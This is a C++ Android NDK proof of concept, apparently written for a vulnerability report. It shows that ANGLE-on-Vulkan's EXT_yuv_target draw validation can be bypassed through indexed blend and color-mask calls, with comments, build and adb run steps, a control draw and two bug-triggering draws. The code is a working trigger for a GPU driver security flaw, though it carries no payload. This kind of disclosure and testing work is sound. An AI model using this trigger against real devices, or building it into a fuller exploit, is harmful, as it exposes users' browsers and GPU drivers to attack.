// Standalone Android NDK POC for the ANGLE EXT_yuv_target validation bypass.
//
// Target: Android device running ANGLE-on-Vulkan (e.g. Android 14+ with ANGLE as
// the system GLES driver, or Chrome's GPU process) where the underlying Vulkan
// driver advertises VK_ANDROID_external_format_resolve (Mali, recent Adreno).
//
// Required GLES extensions (both exposed by ANGLE-Vulkan on such devices):
//   * GL_EXT_YUV_target
//   * GL_OES_draw_buffers_indexed
//
// Bug: ValidateDrawStates (third_party/angle/src/libANGLE/validationES.cpp) reads
// the legacy non-indexed BlendState when enforcing the EXT_yuv_target rule that
// drawing to a YUV FBO requires full color mask and blending disabled.  The
// indexed entry points glEnableiOES / glColorMaskiOES update only BlendStateExt,
// so the check passes on stale state and ANGLE submits a Vulkan pipeline with
// blendEnable = VK_TRUE and a partial colorWriteMask against an external-format
// YUV resolve attachment whose VK_FORMAT_FEATURE_COLOR_ATTACHMENT_BLEND_BIT was
// deliberately never queried.
//
// Build (NDK):
//   clang++ --target=aarch64-linux-android30 -std=c++17 \
//     poc-native-android.cpp -lEGL -lGLESv3 -landroid -llog -o poc
//
// Run on device:
//   adb push poc /data/local/tmp/ && adb shell /data/local/tmp/poc
//
// Expected per GLES spec / EXT_yuv_target:
//   glDrawArrays at [BUG] markers below should generate GL_INVALID_OPERATION.
// Actual on unpatched ANGLE:
//   glGetError() == GL_NO_ERROR; the draw is submitted to the Vulkan driver.

#include <EGL/egl.h>
#include <EGL/eglext.h>
#include <GLES3/gl3.h>
#include <GLES2/gl2ext.h>
#include <android/hardware_buffer.h>
#include <android/log.h>
#include <cstdio>
#include <cstdlib>
#include <cstring>

#define LOG(...) __android_log_print(ANDROID_LOG_INFO, "yuv-bypass-poc", __VA_ARGS__)

static PFNGLENABLEIOESPROC               p_glEnableiOES        = nullptr;
static PFNGLDISABLEIOESPROC              p_glDisableiOES       = nullptr;
static PFNGLCOLORMASKIOESPROC            p_glColorMaskiOES     = nullptr;
static PFNGLEGLIMAGETARGETTEXTURE2DOESPROC p_glEGLImageTargetTexture2DOES = nullptr;
static PFNEGLGETNATIVECLIENTBUFFERANDROIDPROC p_eglGetNativeClientBufferANDROID = nullptr;
static PFNEGLCREATEIMAGEKHRPROC          p_eglCreateImageKHR   = nullptr;

static const char *kVS = R"(#version 300 es
layout(location = 0) in vec4 pos;
void main() { gl_Position = pos; }
)";

static const char *kFS = R"(#version 300 es
#extension GL_EXT_YUV_target : require
precision highp float;
layout(yuv) out vec4 outColor;
void main() { outColor = vec4(0.5, 0.5, 0.5, 1.0); }
)";

static GLuint compile(GLenum type, const char *src) {
  GLuint s = glCreateShader(type);
  glShaderSource(s, 1, &src, nullptr);
  glCompileShader(s);
  GLint ok = 0;
  glGetShaderiv(s, GL_COMPILE_STATUS, &ok);
  if (!ok) {
    char log[1024];
    glGetShaderInfoLog(s, sizeof(log), nullptr, log);
    LOG("shader compile failed: %s", log);
    exit(1);
  }
  return s;
}

static bool hasExt(const char *exts, const char *name) {
  return exts && strstr(exts, name);
}

int main() {
  // --- EGL bring-up (pbuffer, ES3) ---
  EGLDisplay dpy = eglGetDisplay(EGL_DEFAULT_DISPLAY);
  eglInitialize(dpy, nullptr, nullptr);
  EGLint cfgAttr[] = {EGL_RENDERABLE_TYPE, EGL_OPENGL_ES3_BIT,
                      EGL_SURFACE_TYPE, EGL_PBUFFER_BIT,
                      EGL_RED_SIZE, 8, EGL_GREEN_SIZE, 8, EGL_BLUE_SIZE, 8,
                      EGL_ALPHA_SIZE, 8, EGL_NONE};
  EGLConfig cfg;
  EGLint n;
  eglChooseConfig(dpy, cfgAttr, &cfg, 1, &n);
  EGLint pbAttr[] = {EGL_WIDTH, 4, EGL_HEIGHT, 4, EGL_NONE};
  EGLSurface surf = eglCreatePbufferSurface(dpy, cfg, pbAttr);
  EGLint ctxAttr[] = {EGL_CONTEXT_CLIENT_VERSION, 3, EGL_NONE};
  EGLContext ctx = eglCreateContext(dpy, cfg, EGL_NO_CONTEXT, ctxAttr);
  eglMakeCurrent(dpy, surf, surf, ctx);

  const char *glExts = (const char *)glGetString(GL_EXTENSIONS);
  LOG("GL_RENDERER = %s", glGetString(GL_RENDERER));
  if (!hasExt(glExts, "GL_EXT_YUV_target")) {
    LOG("SKIP: GL_EXT_YUV_target not exposed (need ANGLE-Vulkan with "
        "VK_ANDROID_external_format_resolve)");
    return 0;
  }
  if (!hasExt(glExts, "GL_OES_draw_buffers_indexed") &&
      !hasExt(glExts, "GL_EXT_draw_buffers_indexed")) {
    LOG("SKIP: draw_buffers_indexed not exposed");
    return 0;
  }

  p_glEnableiOES   = (PFNGLENABLEIOESPROC)eglGetProcAddress("glEnableiOES");
  p_glDisableiOES  = (PFNGLDISABLEIOESPROC)eglGetProcAddress("glDisableiOES");
  p_glColorMaskiOES = (PFNGLCOLORMASKIOESPROC)eglGetProcAddress("glColorMaskiOES");
  p_glEGLImageTargetTexture2DOES =
      (PFNGLEGLIMAGETARGETTEXTURE2DOESPROC)eglGetProcAddress("glEGLImageTargetTexture2DOES");
  p_eglGetNativeClientBufferANDROID =
      (PFNEGLGETNATIVECLIENTBUFFERANDROIDPROC)eglGetProcAddress("eglGetNativeClientBufferANDROID");
  p_eglCreateImageKHR = (PFNEGLCREATEIMAGEKHRPROC)eglGetProcAddress("eglCreateImageKHR");

  // --- Create a YUV AHardwareBuffer and wrap it as an external texture ---
  AHardwareBuffer_Desc desc = {};
  desc.width  = 4;
  desc.height = 4;
  desc.layers = 1;
  desc.format = AHARDWAREBUFFER_FORMAT_Y8Cb8Cr8_420;  // YUV420
  desc.usage  = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE |
                AHARDWAREBUFFER_USAGE_GPU_FRAMEBUFFER;
  AHardwareBuffer *ahb = nullptr;
  if (AHardwareBuffer_allocate(&desc, &ahb) != 0 || !ahb) {
    LOG("SKIP: AHardwareBuffer_allocate(YUV420) failed");
    return 0;
  }

  EGLClientBuffer cb = p_eglGetNativeClientBufferANDROID(ahb);
  EGLint imgAttr[] = {EGL_IMAGE_PRESERVED_KHR, EGL_TRUE, EGL_NONE};
  EGLImageKHR img = p_eglCreateImageKHR(dpy, EGL_NO_CONTEXT,
                                        EGL_NATIVE_BUFFER_ANDROID, cb, imgAttr);
  if (img == EGL_NO_IMAGE_KHR) {
    LOG("SKIP: eglCreateImageKHR failed (0x%x)", eglGetError());
    return 0;
  }

  GLuint tex;
  glGenTextures(1, &tex);
  glBindTexture(GL_TEXTURE_EXTERNAL_OES, tex);
  p_glEGLImageTargetTexture2DOES(GL_TEXTURE_EXTERNAL_OES, (GLeglImageOES)img);

  GLuint fbo;
  glGenFramebuffers(1, &fbo);
  glBindFramebuffer(GL_FRAMEBUFFER, fbo);
  glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,
                         GL_TEXTURE_EXTERNAL_OES, tex, 0);
  GLenum fbStatus = glCheckFramebufferStatus(GL_FRAMEBUFFER);
  LOG("FBO status = 0x%x (expect 0x%x)", fbStatus, GL_FRAMEBUFFER_COMPLETE);

  // --- Program with layout(yuv) output ---
  GLuint prog = glCreateProgram();
  glAttachShader(prog, compile(GL_VERTEX_SHADER, kVS));
  glAttachShader(prog, compile(GL_FRAGMENT_SHADER, kFS));
  glLinkProgram(prog);
  glUseProgram(prog);

  // Full-screen triangle.
  static const GLfloat tri[] = {-1, -1, 0, 1, 3, -1, 0, 1, -1, 3, 0, 1};
  GLuint vbo;
  glGenBuffers(1, &vbo);
  glBindBuffer(GL_ARRAY_BUFFER, vbo);
  glBufferData(GL_ARRAY_BUFFER, sizeof(tri), tri, GL_STATIC_DRAW);
  glEnableVertexAttribArray(0);
  glVertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 0, nullptr);

  glViewport(0, 0, 4, 4);
  while (glGetError() != GL_NO_ERROR) {}  // drain

  // --- Control: non-indexed blend IS rejected ---
  glEnable(GL_BLEND);
  glDrawArrays(GL_TRIANGLES, 0, 3);
  GLenum e = glGetError();
  LOG("[control] non-indexed glEnable(GL_BLEND) draw -> 0x%x (expect 0x0502)", e);
  glDisable(GL_BLEND);

  // --- [BUG 1] indexed blend bypasses the check ---
  // setBlendIndexed updates only mBlendStateExt; ValidateDrawStates reads stale
  // mBlendState.blend == false and lets the draw through.  ANGLE-Vulkan then
  // builds VkPipelineColorBlendAttachmentState{blendEnable=VK_TRUE} against the
  // external-format YUV resolve attachment.
  p_glEnableiOES(GL_BLEND, 0);
  glDrawArrays(GL_TRIANGLES, 0, 3);
  e = glGetError();
  LOG("[BUG 1] glEnableiOES(GL_BLEND,0) draw -> 0x%x "
      "(spec requires 0x0502, unpatched ANGLE gives 0x0)", e);
  p_glDisableiOES(GL_BLEND, 0);

  // --- [BUG 2] indexed partial color mask bypasses the check ---
  p_glColorMaskiOES(0, GL_FALSE, GL_TRUE, GL_FALSE, GL_TRUE);
  glDrawArrays(GL_TRIANGLES, 0, 3);
  e = glGetError();
  LOG("[BUG 2] glColorMaskiOES(0,F,T,F,T) draw -> 0x%x "
      "(spec requires 0x0502, unpatched ANGLE gives 0x0)", e);
  p_glColorMaskiOES(0, GL_TRUE, GL_TRUE, GL_TRUE, GL_TRUE);

  glFinish();
  LOG("done");
  return 0;
}
